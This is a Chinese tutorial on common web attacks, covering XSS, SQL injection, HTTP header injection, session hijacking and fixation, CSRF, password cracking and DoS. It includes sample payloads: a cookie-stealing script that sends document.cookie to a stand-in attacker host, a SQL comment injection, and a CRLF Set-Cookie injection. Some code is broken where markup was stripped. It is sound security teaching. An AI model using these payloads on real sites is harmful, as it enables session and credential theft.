常见的Web攻击技术

文章目录

  • 前言
      • HTTP 不具备必要的安全功能
      • 在客户端即可篡改请求
      • 针对 Web 应用的攻击模式
  • 因输出值转义不完全引发的安全漏洞
    • 跨站脚本攻击XSS
      • XSS实例
    • SQL 注入攻击
      • 实例
    • HTTP 首部注入攻击
      • HTTP 首部注入攻击案例
      • HTTP 响应截断攻击
  • 因会话管理疏忽引发的安全漏洞
    • 会话劫持
    • 会话固定攻击
    • 跨站点请求伪造CSRF
      • 跨站点请求伪造的攻击案例
  • 其他安全漏洞
    • 密码破解
      • 穷举法
      • 字典攻击
      • 对已加密密码的破解
    • DoS 攻击

前言

互联网上的攻击大都将 Web 站点作为目标。 本章讲解具体有哪些攻击 Web 站点的手段, 以及攻击会造成怎样的影响

简单的 HTTP 协议本身并不存在安全性问题, 因此协议本身几乎不会成为攻击的对象。 应用 HTTP 协议的服务器和客户端, 以及运行在服务器上的 Web 应用等资源才是攻击目标。

HTTP 不具备必要的安全功能

  • 与最初的设计相比, 现今的 Web 网站应用的 HTTP 协议的使用方式已发生了翻天覆地的变化。 几乎现今所有的 Web 网站都会使用会话(session) 管理、 加密处理等安全性方面的功能, 而 HTTP 协议内并不具备这些功能。

  • 从整体上看, HTTP 就是一个通用的单纯协议机制。 因此它具备较多优势, 但是在安全性方面则呈劣势。

    • 就拿远程登录时会用到的 SSH 协议来说, SSH 具备协议级别的认证及会话管理等功能, HTTP 协议则没有。 另外在架设 SSH 服务方面,任何人都可以轻易地创建安全等级高的服务, 而 HTTP 即使已架设好服务器, 但若想提供服务器基础上的 Web 应用, 很多情况下都需要重新开发。
    • 因此, 开发者需要自行设计并开发认证及会话管理功能来满足 Web应用的安全。 而自行设计就意味着会出现各种形形色色的实现。 结果, 安全等级并不完备, 可仍在运作的 Web 应用背后却隐藏着各种容易被攻击者滥用的安全漏洞的 Bug。

在客户端即可篡改请求

  • 在 Web 应用中, 从浏览器那接收到的 HTTP 请求的全部内容, 都可以在客户端自由地变更、 篡改。 所以 Web 应用可能会接收到与预期数据不相同的内容。
  • 在 HTTP 请求报文内加载攻击代码, 就能发起对 Web 应用的攻击。通过 URL查询字段或表单、 HTTP 首部、 Cookie 等途径把攻击代码传入, 若这时 Web 应用存在安全漏洞, 那内部信息就会遭到窃取, 或被攻击者拿到管理权限

常见的Web攻击技术_第1张图片

针对 Web 应用的攻击模式

对 Web 应用的攻击模式有以下两种。

  • 主动攻击
  • 被动攻击

以服务器为目标的主动攻击

主动攻击(active attack) 是指攻击者通过直接访问 Web 应用,把攻击代码传入的攻击模式。 由于该模式是直接针对服务器上的资源进行攻击, 因此攻击者需要能够访问到那些资源。

  • 主动攻击模式里具有代表性的攻击是 SQL注入攻击和 OS 命令注入攻击

以服务器为目标的被动攻击
被动攻击(passive attack) 是指利用圈套策略执行攻击代码的攻击模式。 在被动攻击过程中, 攻击者不直接对目标 Web 应用访问发起攻击。
被动攻击通常的攻击模式如下所示。

  • 步骤 1: 攻击者诱使用户触发已设置好的陷阱, 而陷阱会启动发送已嵌入攻击代码的 HTTP 请求。
  • 步骤 2: 当用户不知不觉中招之后, 用户的浏览器或邮件客户端就会触发这个陷阱。
  • 步骤 3: 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发送给作为攻击目标的 Web 应用, 运行攻击代码。
  • 步骤 4: 执行完攻击代码, 存在安全漏洞的 Web 应用会成为攻击者的跳板, 可能导致用户所持的 Cookie 等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。

被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。

常见的Web攻击技术_第2张图片

常见的Web攻击技术_第3张图片

  • 企业内网攻破

因输出值转义不完全引发的安全漏洞

实施 Web 应用的安全对策可大致分为以下两部分。客户端的验证 Web 应用端( 服务器端) 的验证输入值验证输出值转义

常见的Web攻击技术_第4张图片

  • 多数情况下采用 JavaScript 在客户端验证数据。 可是在客户端允许篡改数据或关闭 JavaScript, 不适合将 JavaScript 验证作为安全的防范对策。 保留客户端验证只是为了尽早地辨识输入错误, 起到提高 UI体验的作用。

  • Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。 输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。

  • 从数据库或文件系统、 HTML、 邮件等输出 Web 应用处理的数据之际, 针对输出做值转义处理是一项至关重要的安全策略。 当输出值转义不完全时, 会因触发攻击者传入的攻击代码, 而给输出对象带来损害。

跨站脚本攻击XSS

跨站脚本攻击(Cross-Site Scripting, XSS) 是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的 HTML标签或 JavaScript 进行的一种攻击。 动态创建的 HTML部分有可能隐藏着安全漏洞。 就这样, 攻击者编写脚本设下陷阱, 用户在自己的浏览器上运行时, 一不小心就会受到被动攻击。
跨站脚本攻击有可能造成以下影响。

  • 利用虚假输入表单骗取用户个人信息。
  • 利用脚本窃取用户的 Cookie 值, 被害者在不知情的情况下,帮助攻击者发送恶意请求。
  • 显示伪造的文章或图片。

XSS实例

初始XSS

常见的Web攻击技术_第5张图片

此时的确认界面上, 浏览器会把用户输入的 解析成 HTML标签, 然后显示删除线。

  • 删除线显示出来并不会造成太大的不利后果, 但如果换成使用script 标签将会如何呢。
  • XSS 是攻击者利用预先设置的陷阱触发的被动攻击跨站脚本攻击属于被动攻击模式, 因此攻击者会事先布置好用于攻击的陷阱

严重的例子——盗取用户个人信息

常见的Web攻击技术_第6张图片

网站通过地址栏中 URI 的查询字段指定 ID, 即相当于在表单内自动填写字符串的功能。 而就在这个地方, 隐藏着可执行跨站脚本攻击的漏洞。

对请求时对应的HTML源代码(摘录)

<div class="logo">
	<img src="/img/logo.gif" alt="E! 拍卖会" />
div>
<form action="http://example.jp/login" method="post" id="login">
<div class="input_id">
	ID <input type="text" name="ID" value="yama" />
div>

充分熟知此处漏洞特点的攻击者, 于是就创建了下面这段嵌入恶意代码的 URL。 并隐藏植入事先准备好的欺诈邮件中或 Web 页面内, 诱使用户去点击该 URL。

http://example.jp/login?ID= ">  

浏览器打开该 URI 后, 直观感觉没有发生任何变化, 但设置好的脚本却偷偷开始运行了。 当用户在表单内输入 ID 和密码之后,就会直接发送到攻击者的网站(也就是 hackr.jp) , 导致个人登录信息被窃取

对用户 Cookie 的窃取攻击

除了在表单中设下圈套之外, 下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式, 窃取到用户的 Cookie 信息。

该脚本内指定的 http://hackr.jp/xss.js 文件。 即下面这段采用JavaScript 编写的代码。

var content = escape(document.cookie);
document.write(");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段JavaScript 程序, 即可访问到该 Web 应用所处域名下的 Cookie 信息。 然 后这些信息会发送至攻击者的 Web 网站(http://hackr.jp/) , 记录在他的登录日志中。 结果, 攻击者就这样窃取到用户的 Cookie 信息了。

常见的Web攻击技术_第7张图片

SQL 注入攻击

SQL注入(SQL Injection) 是指针对 Web 应用使用的数据库, 通过运行非法的 SQL而产生的攻击。 该安全隐患有可能引发极大的威胁, 有时会直接导致个人信息及机密信息的泄露。
Web 应用通常都会用到数据库, 当需要对数据库表内的数据进行检索或添加、 删除等操作时, 会使用 SQL语句连接数据库进行特定的操作。 如果在调用 SQL语句的方式上存在疏漏, 就有可能执行被恶意注入(Injection) 非法 SQL语句。

SQL注入攻击有可能会造成以下等影响

  • 非法查看或篡改数据库内的数据
  • 规避认证
  • 执行和数据库服务器业务关联的程序等

实例

常见的Web攻击技术_第8张图片

  • 我们要进行搜索关于上野宣相关的数据,并且是满足可以销售的
    • SELECT * FROM bookTbl WHERE author = ‘上野宣’ and flag = 1 用这句SQL搜索出对对应的数据
  • 但是如果对SQL语句做手脚,也就是对q进行做手脚 q=上野宣’ - - ,如果不做处理,后端对应的SQL语句为
    • SELECT * FROM bookTbl WHERE author =‘上野宣’ - -’ and flag=1;
    • SQL语句中的 – 之后全视为注释。 即, and flag=1 这个条件被自动忽略了。 也就会显示那些不可销售的书籍

常见的Web攻击技术_第9张图片

本案例中的问题仅仅是把未出版书籍的条目也一同显示出来了。但实际发生 SQL注入攻击时, 很有可能会导致用户信息或结算内容等其他数据表的非法浏览及篡改, 从而使用户遭受不同程度的损失。

HTTP 首部注入攻击

HTTP 首部注入攻击(HTTP Header Injection) 是指攻击者通过在响应首部字段内插入换行, 添加任意响应首部或主体的一种攻击。 属于被动攻击模式。向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTPResponse Splitting Attack) 。
如下所示, Web 应用有时会把从外部接收到的数值, 赋给响应首部字段 Location 和 Set-Cookie。

  • Location: http://www.example.com/a.cgi?q=12345
  • Set-Cookie: UID=12345

HTTP 首部注入可能像这样, 通过在某些响应首部字段需要处理输出值的地方, 插入换行发动攻击。

HTTP 首部注入攻击有可能会造成以下一些影响。

  • 设置任何 Cookie 信息
  • 重定向至任意 URL
  • 显示任意的主体( HTTP 响应截断攻击)

HTTP 首部注入攻击案例

  • 下面我们以选定某个类别后即可跳转至各类别对应页面的功能为
  • 讲解 HTTP 首部注入攻击。 该功能为每个类别都设定了一个类别 ID 值, 一旦选定某类别, 就会将该 ID 值反映在响应内的Location 首部字段内, 形如 Location: http://example.com/?cat=101。 令浏览器发生重定向跳转。

常见的Web攻击技术_第10张图片

攻击者以下面的内容替代之前的类别 ID 后发送请求。

  • 101%0D%0ASet-Cookie:+SID=123456789
    • 其中, %0D%0A 代表 HTTP 报文中的换行符, 紧接着的是可强制将攻击者网站(http://hackr.jp/) 的会话 ID 设置成SID=123456789 的 Set-Cookie 首部字段。
  • 发送该请求之后, 假设结果返回以下响应。
- Location: http://example.com/?cat=101(%0D%0A : 换行符)
- Set-Cookie: SID=123456789

此刻, 首部字段 Set-Cookie 已生效, 因此攻击者可指定修改任意的 Cookie 信息。 通过和会话固定攻击(攻击者可使用指定的会话 ID) 攻击组合, 攻击者可伪装成用户。攻击者输入的 %0D%0A, 原本应该属于首部字段 Location 的查询值部分, 但经过解析后, %0D%0A 变成了换行符, 结果插入了新的首部字段。这样一来, 攻击者可在响应中插入任意的首部字段。

HTTP 响应截断攻击

HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。 攻击顺序相同, 但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。 利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了, 这样就能显示伪造的主体, 达到攻击目的。 这样的攻击叫做 HTTP 响应截断攻击。

  • %0D%0A%0D%0A </code>之后, 想要显示的网页内容</li> <li>在可能进行 HTTP 首部注入的环节, 通过发送上面的字符串, 返回结果得到以下这种响应。</li> </ul> <pre><code class="prism language-HTTP">- Set-Cookie: UID=(%0D%0A : 换行符) - (%0D%0A : 换行符) - <HTML><HEAD><TITLE>之后, 想要显示的网页内容 <!--(原来页面对应的首部字 </code></pre> <ul> <li>利用这个攻击, 已触发陷阱的用户浏览器会显示伪造的 Web 页面, 再让用户输入自己的个人信息等, 可达到和跨站脚本攻击相同的效果。</li> <li>另外, 滥用 HTTP/1.1 中汇集多响应返回功能, 会导致缓存服务器对任意内容进行缓存操作。 这种攻击称为缓存污染。 使用该缓存服务器的用户, 在浏览遭受攻击的网站时, 会不断地浏览被替换掉的 Web 网页。</li> </ul> <h1>因会话管理疏忽引发的安全漏洞</h1> <h2>会话劫持</h2> <p>会话劫持(Session Hijack) 是指攻击者通过某种手段拿到了用户的会话 ID, 并非法使用此会话 ID 伪装成用户, 达到攻击的目的</p> <p><a href="http://img.e-com-net.com/image/info8/d504cec6898c43b0b8a887f189d43ea4.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/d504cec6898c43b0b8a887f189d43ea4.jpg" alt="常见的Web攻击技术_第11张图片" width="650" height="336" style="border:1px solid black;"></a>。<br> 具备认证功能的 Web 应用, 使用会话 ID 的会话管理机制, 作为管理认证状态的主流方式。 会话 ID 中记录客户端的 Cookie 等信息, 服务器端将会话 ID 与认证状态进行一对一匹配管理。<br> 下面列举了几种攻击者可获得会话 ID 的途径。</p> <ul> <li>通过非正规的生成方法推测会话 ID</li> <li>通过窃听或 XSS 攻击盗取会话 ID</li> <li>通过会话固定攻击( Session Fixation) 强行获取会话 ID</li> </ul> <p><strong>会话劫持攻击案例</strong></p> <p>我们以认证功能为例讲解会话劫持。 这里的认证功能通过会话管理机制, 会将成功认证的用户的会话 ID(SID) 保存在用户浏览器的 Cookie 中。</p> <p><a href="http://img.e-com-net.com/image/info8/f3d8327d6b63480cb314623bd18ff9a6.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f3d8327d6b63480cb314623bd18ff9a6.jpg" alt="常见的Web攻击技术_第12张图片" width="650" height="388" style="border:1px solid black;"></a></p> <ul> <li>攻击者在得知该 Web 网站存在可跨站攻击(XSS) 的安全漏洞后, 就设置好用 JavaScript 脚本调用 document.cookie 以窃取Cookie 信息的陷阱, 一旦用户踏入陷阱(访问了该脚本) , 攻击者就能获取含有会话 ID 的 Cookie。</li> <li>攻击者拿到用户的会话 ID 后, 往自己的浏览器的 Cookie 中设置该会话 ID, 即可伪装成会话 ID 遭窃的用户, 访问 Web 网站了。</li> </ul> <h2>会话固定攻击</h2> <p>对以窃取目标会话 ID 为主动攻击手段的会话劫持而言, 会话固定攻击(Session Fixation) 攻击会<strong>强制用户使用攻击者指定的会话 ID</strong>, 属于被动攻击。</p> <p><strong>会话固定攻击案例</strong><br> 这个 Web 网站的认证功能, 会在认证前发布一个会话 ID, 若认证成功, 就会在服务器内改变认证状态。<br> <a href="http://img.e-com-net.com/image/info8/b357f0d17c7648fe9a52419dd0a9f31f.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/b357f0d17c7648fe9a52419dd0a9f31f.jpg" alt="常见的Web攻击技术_第13张图片" width="650" height="373" style="border:1px solid black;"></a></p> <ul> <li>攻击者准备陷阱, 先访问 Web 网站拿到会话ID(SID=f5d1278e8109) 。 此刻, 会话 ID 在服务器上的记录仍是(未认证) 状态。 (步骤① ~ ②)</li> <li>攻击者设置好强制用户使用该会话 ID 的陷阱, 并等待用户拿着这个会话 ID 前去认证。 一旦用户触发陷阱并完成认证, 会话ID(SID=f5d1278e8109) 在服务器上的状态(用户 A 已认证) 就会被记录下来。 (步骤③)</li> <li>攻击者估计用户差不多已触发陷阱后, 再利用之前这个会话 ID访问网站。 由于该会话 ID 目前已是(用户 A 已认证) 状态, 于是攻击者作为用户 A 的身份顺利登录网站。 (步骤④)</li> </ul> <p>Session Adoption</p> <ul> <li>Session Adoption 是指 PHP 或 ASP.NET 能够接收处理未知会话 ID的功能。恶意使用该功能便可跳过会话固定攻击的准备阶段, 从 Web 网站 获得发行的会话 ID 的步骤。 即, 攻击者可私自创建会话 ID构成陷阱, 中间件却会误以为该会话 ID 是未知会话 ID 而接受。</li> </ul> <h2>跨站点请求伪造CSRF</h2> <p>跨站点请求伪造(Cross-Site Request Forgeries, CSRF) 攻击是指攻击者通过设置好的陷阱, 强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新, 属于被动攻击。<br> 跨站点请求伪造有可能会造成以下等影响。</p> <ul> <li>利用已通过认证的用户权限更新设定信息等</li> <li>利用已通过认证的用户权限购买商品</li> <li>利用已通过认证的用户权限在留言板上发表言论</li> </ul> <h3>跨站点请求伪造的攻击案例</h3> <p>下面以留言板功能为例, 讲解跨站点请求伪造。 该功能只允许已认证并登录的用户在留言板上发表内容。</p> <p><a href="http://img.e-com-net.com/image/info8/efe4a3cc24dc400fb3cd6a4e63abe7b4.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/efe4a3cc24dc400fb3cd6a4e63abe7b4.jpg" alt="常见的Web攻击技术_第14张图片" width="650" height="421" style="border:1px solid black;"></a></p> <ul> <li>在该留言板系统上, 受害者用户 A 是已认证状态。 它的浏览器中的 Cookie 持有已认证的会话 ID(步骤①) 。</li> <li>攻击者设置好一旦用户访问, 即会发送在留言板上发表非主观行为产生的评论的请求的陷阱。 用户 A 的浏览器执行完陷阱中的请求后, 留言板上也就会留下那条评论(步骤②) 。</li> <li>触发陷阱之际, 如果用户 A 尚未通过认证, 则无法利用用户 A的身份权限在留言板上发表内容</li> </ul> <h1>其他安全漏洞</h1> <h2>密码破解</h2> <p>密码破解攻击(Password Cracking) 即算出密码, 突破认证。 攻击不仅限于 Web 应用, 还包括其他的系统(如 FTP 或 SSH 等) , 本节将会讲解对具备认证功能的 Web 应用进行的密码破解。<br> 密码破解有以下两种手段。</p> <ul> <li>通过网络的密码试错</li> <li>对已加密密码的破解( 指攻击者入侵系统, 已获得加密或散列处理的密码数据的情况)</li> <li>除去突破认证的攻击手段, 还有 SQL注入攻击逃避认证, 跨站脚本攻击窃取密码信息等方法。</li> </ul> <p><strong>通过网络进行密码试错</strong></p> <p>对 Web 应用提供的认证功能, 通过网络尝试候选密码进行的一种攻击。 主要有以下两种方式。</p> <ul> <li>穷举法</li> <li>字典攻击</li> </ul> <h3>穷举法</h3> <ul> <li>穷举法(Brute-force Attack, 又称暴力破解法) 是指对所有密钥集合构成的密钥空间(Keyspace) 进行穷举。 即, 用所有可行的候选密码对目标的密码系统试错, 用以突破验证的一种攻击。 <ul> <li>比如银行采用的个人识别码是由“4 位数字”组成的密码, 那么就要从 0000~9999 中的全部数字逐个进行尝试。 这样一来, 必定在候选的密码集合中存在一个正确的密码, 可通过认证。</li> </ul> </li> <li>因为穷举法会尝试所有的候选密码, 所以是一种必然能够破解密码的攻击。 但是, 当密钥空间很庞大时, 解密可能需要花费数年, 甚至千年的时间, 因此从现实角度考量, 攻击是失败的。</li> </ul> <h3>字典攻击</h3> <ul> <li>字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存入字典) , 枚举字典中的密码, 尝试通过认证的一种攻击手法。 <ul> <li>还是举银行采用个人识别码是“4 位数字”的密码的例子, 考虑到用户使用自己的生日做密码的可能性较高, 于是就可以把生日日期数值化, 如将 0101~1231 保存成字典, 进行尝试。</li> </ul> </li> <li>与穷举法相比, 由于需要尝试的候选密码较少, 意味着攻击耗费的时间比较短。 但是, 如果字典中没有正确的密码, 那就无法破解成功。 因此攻击的成败取决于字典的内容。</li> </ul> <p><a href="http://img.e-com-net.com/image/info8/7420cc6f8d584a578dcb004698be627d.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/7420cc6f8d584a578dcb004698be627d.jpg" alt="常见的Web攻击技术_第15张图片" width="650" height="444" style="border:1px solid black;"></a></p> <blockquote> <p>利用别处泄露的 ID·密码进行攻击字典攻击中有一种利用其他 Web 网站已泄露的 ID 及密码列表进行的攻击。 很多用户习惯随意地在多个 Web 网站使用同一套 ID 及密码, 因此攻击会有相当高的成功几率</p> </blockquote> <h3>对已加密密码的破解</h3> <p>Web 应用在保存密码时, 一般不会直接以明文的方式保存, 通过散列函数做散列处理或加 salt 的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据, 如果想要真正使用这些密码, 则必须先通过解码等手段, 把加密处理的密码还原成明文形式。</p> <p><a href="http://img.e-com-net.com/image/info8/787a19efde59496d9d037b6a68c55302.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/787a19efde59496d9d037b6a68c55302.jpg" alt="常见的Web攻击技术_第16张图片" width="650" height="336" style="border:1px solid black;"></a><br> 从加密过的数据中导出明文通常有以下几种方法。</p> <ul> <li> <p>通过穷举法·字典攻击进行类推</p> </li> <li> <p>彩虹表</p> </li> <li> <p>拿到密钥</p> </li> <li> <p>加密算法的漏洞</p> </li> </ul> <p><strong>通过穷举法·字典攻击进行类推</strong></p> <ul> <li>针对密码使用散列函数进行加密处理的情况, 采用和穷举法或字典攻击相同的手法, 尝试调用相同的散列函数加密候选密码, 然后把计算出的散列值与目标散列值匹配, 类推出密码。</li> </ul> <p><a href="http://img.e-com-net.com/image/info8/da6f6341dc314d27b9230345301d9fe7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/da6f6341dc314d27b9230345301d9fe7.jpg" alt="常见的Web攻击技术_第17张图片" width="650" height="333" style="border:1px solid black;"></a></p> <p><strong>彩虹表</strong><br> 彩虹表(Rainbow Table) 是由明文密码及与之对应的散列值构成的一张数据库表, 是一种通过事先制作庞大的彩虹表, 可在穷举法 • 字典攻击等实际破解过程中缩短消耗时间的技巧。 从彩虹表内搜索散列值就可以推导出对应的明文密码</p> <p><a href="http://img.e-com-net.com/image/info8/2a1efef06c2e40e7919c2de541b926e4.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/2a1efef06c2e40e7919c2de541b926e4.jpg" alt="常见的Web攻击技术_第18张图片" width="650" height="213" style="border:1px solid black;"></a></p> <p><strong>拿到密钥</strong><br> 使用共享密钥加密方式对密码数据进行加密处理的情况下, 如果能通过某种手段拿到加密使用的密钥, 也就可以对密码数据解密了。<br> <strong>加密算法的漏洞</strong><br> 考虑到加密算法本身可能存在的漏洞, 利用该漏洞尝试解密也是一种可行的方法。 但是要找到那些已广泛使用的加密算法的漏洞, 又谈何容易, 因此困难极大, 不易成功。而 Web 应用开发者独立实现的加密算法, 想必尚未经过充分的验证, 还是很有可能存在漏洞的</p> <h2>DoS 攻击</h2> <p>DoS 攻击(Denial of Service attack) 是一种让运行中的服务呈停止状态的攻击。 有时也叫做服务停止攻击或拒绝服务攻击。 DoS 攻击的对象不仅限于 Web 网站, 还包括网络设备及服务器等。<br> 主要有以下两种 DoS 攻击方式。</p> <ul> <li> <p>集中利用访问请求造成资源过载, 资源用尽的同时, 实际上服务也就呈停止状态。</p> </li> <li> <p>通过攻击安全漏洞使服务停止。</p> </li> </ul> <p>其中, 集中利用访问请求的 DoS 攻击, 单纯来讲就是发送大量的合法请求。 服务器很难分辨何为正常请求, 何为攻击请求, 因此很难防止 DoS 攻击。</p> <p><a href="http://img.e-com-net.com/image/info8/83f09746c6e84349a8e96de5f48c7c58.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/83f09746c6e84349a8e96de5f48c7c58.jpg" alt="常见的Web攻击技术_第19张图片" width="650" height="353" style="border:1px solid black;"></a></p> <ul> <li>多台计算机发起的 DoS 攻击称为 DDoS 攻击(Distributed Denial ofService attack) 。 <strong>DDoS 攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。</strong></li> </ul> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1648719816644657152"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(网络通信,前端,服务器,网络)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1885132586691391488.htm" title="基于Tomcat构建LNMT架构的网站并实现Session保持" target="_blank">基于Tomcat构建LNMT架构的网站并实现Session保持</a> <span class="text-muted">weixin_33795833</span> <a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/ViewUI/1.htm">ViewUI</a> <div>基于Tomcat构建LNMT架构的网站并实现Session保持-小小忍者-51CTO技术博客简介LNMT=Linux+Nginx+MySQL+Tomcat;Tomcat服务器是一个免费的开放源代码的Web应用服务器,属于轻量级应用服务器;在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP程序的首选;架构需求Tomcat实现JSP动态请求解析的基本架构说明:由后端Tomcat负</div> </li> <li><a href="/article/1885129679107584000.htm" title="Word/excel/df文档转图片返回前端" target="_blank">Word/excel/df文档转图片返回前端</a> <span class="text-muted">p393975269</span> <a class="tag" taget="_blank" href="/search/%E5%9B%BE%E7%89%87%E8%BD%AC%E6%8D%A2%E5%B7%A5%E5%85%B7aspose/1.htm">图片转换工具aspose</a><a class="tag" taget="_blank" href="/search/%E6%96%87%E6%A1%A3%E8%BD%AC%E5%9B%BE%E7%89%87%E5%87%BA%E7%8E%B0%E7%A9%BA%E5%BF%83%E6%96%B9%E6%A0%BC%E4%B9%B1%E7%A0%81/1.htm">文档转图片出现空心方格乱码</a><a class="tag" taget="_blank" href="/search/%E6%96%87%E6%A1%A3%E8%BD%AC%E5%9B%BE%E7%89%87%E8%87%AA%E5%AE%9A%E4%B9%89%E5%AD%97%E4%BD%93/1.htm">文档转图片自定义字体</a> <div>导入jarcom.asposeaspose-words13.9.0.0com.asposeaspose-cells8.5.2commons-iocommons-io2.6org.apache.pdfboxpdfbox2.0.8org.apache.pdfboxfontbox2.0.8controller层从本地读取文件信息publicclassWordToPngController{publics</div> </li> <li><a href="/article/1885129680261017600.htm" title="【redis】redis 查看连接数" target="_blank">【redis】redis 查看连接数</a> <span class="text-muted">九师兄</span> <a class="tag" taget="_blank" href="/search/%E7%BC%93%E5%AD%98-redis/1.htm">缓存-redis</a><a class="tag" taget="_blank" href="/search/redis/1.htm">redis</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a> <div>1.概述redis-cli连接服务器#无密码./redis-cli#有密码登录./redis-cli-a${pas}#切换数据库默认是0,不用切换select$database查看连接数允许最大连接数具体客户端连接最后的cmd是执行的命令类型</div> </li> <li><a href="/article/1885123782910210048.htm" title="Cisco NX-OS ACI 16.1(1f)F - 适用于 ACI 模式下的 Nexus 9000 系列交换机系统软件" target="_blank">Cisco NX-OS ACI 16.1(1f)F - 适用于 ACI 模式下的 Nexus 9000 系列交换机系统软件</a> <span class="text-muted"></span> <a class="tag" taget="_blank" href="/search/cisco/1.htm">cisco</a> <div>CiscoNX-OSSystemSoftware-ACI16.1(1f)F适用于ACI模式下的CiscoNexus9000系列交换机系统软件请访问原文链接:https://sysin.org/blog/cisco-aci-16/查看最新版。原创作品,转载请保留出处。作者主页:sysin.orgCiscoNX-OS网络操作系统软件CiscoNX-OS操作系统助力网络紧跟业务发展步伐。NX-OS网络操</div> </li> <li><a href="/article/1885112647720955904.htm" title="2025年:网络安全犯罪活动发展新趋势" target="_blank">2025年:网络安全犯罪活动发展新趋势</a> <span class="text-muted">网安加社区</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E9%A3%8E%E9%99%A9/1.htm">网络风险</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E7%8A%AF%E7%BD%AA/1.htm">网络犯罪</a> <div>2024年,网络空间经历了一场前所未有的动荡,威胁行为者的活动频繁且多变,这一系列事件为2025年的网络安全形势蒙上了一层阴影,预示着挑战依旧严峻。为了深入了解并有效应对勒索软件及其他网络犯罪活动的新趋势,我们与业界领先的安全专家进行了交流探讨,以期帮助企业组织全面认知可能面临的风险,并据此制定出切实有效的防御策略。勒索软件生态系统的持续扩张勒索软件生态系统正以前所未有的速度发展,不断适应并规避防</div> </li> <li><a href="/article/1885112647184084992.htm" title="2025年企业网络安全:风险预测与应对策略" target="_blank">2025年企业网络安全:风险预测与应对策略</a> <span class="text-muted">网安加社区</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E9%A3%8E%E9%99%A9/1.htm">网络风险</a><a class="tag" taget="_blank" href="/search/%E4%BC%81%E4%B8%9A%E5%AE%89%E5%85%A8/1.htm">企业安全</a> <div>据预测,到2025年,网络犯罪可能给全球经济带来每年高达10.5万亿美元的损失。这一个惊人的数字,为各行各业敲响了警钟。随着网络威胁日益复杂多变,企业要保持领先地位,就必须时刻保持警惕,勇于创新,采取积极主动的防御策略。那么,2025年的企业网络安全领域将面临哪些挑战?企业又该如何做好准备?接下来,我们一同深入探讨企业网络安全的发展趋势与应对策略。2025年企业网络安全风险如今,企业的网络安全已不</div> </li> <li><a href="/article/1885110124591247360.htm" title="k8s和ipvs、lvs、ipvsadm,iptables,底层梳理,具体是如何实现的" target="_blank">k8s和ipvs、lvs、ipvsadm,iptables,底层梳理,具体是如何实现的</a> <span class="text-muted">技术服务于生态</span> <a class="tag" taget="_blank" href="/search/kubernetes/1.htm">kubernetes</a><a class="tag" taget="_blank" href="/search/%E5%AE%B9%E5%99%A8/1.htm">容器</a><a class="tag" taget="_blank" href="/search/%E4%BA%91%E5%8E%9F%E7%94%9F/1.htm">云原生</a> <div>计算节点的功能:提供容器运行的环境kube-proxy的主要功能:术业有专攻,kube-proxy的主要功能可以概括为4个字网络规则那么kube-proxy自己其实是个daemonset控制器跑的每个节点上都有个的pod它负责网络规则其实呢它还是个小领导它不直接去搞网络规则而是告诉别人,网络规则要怎么搞你来搞告诉谁?1.14版本之前是iptables1.14版本之后是ipvsiptables是个命</div> </li> <li><a href="/article/1885107604967976960.htm" 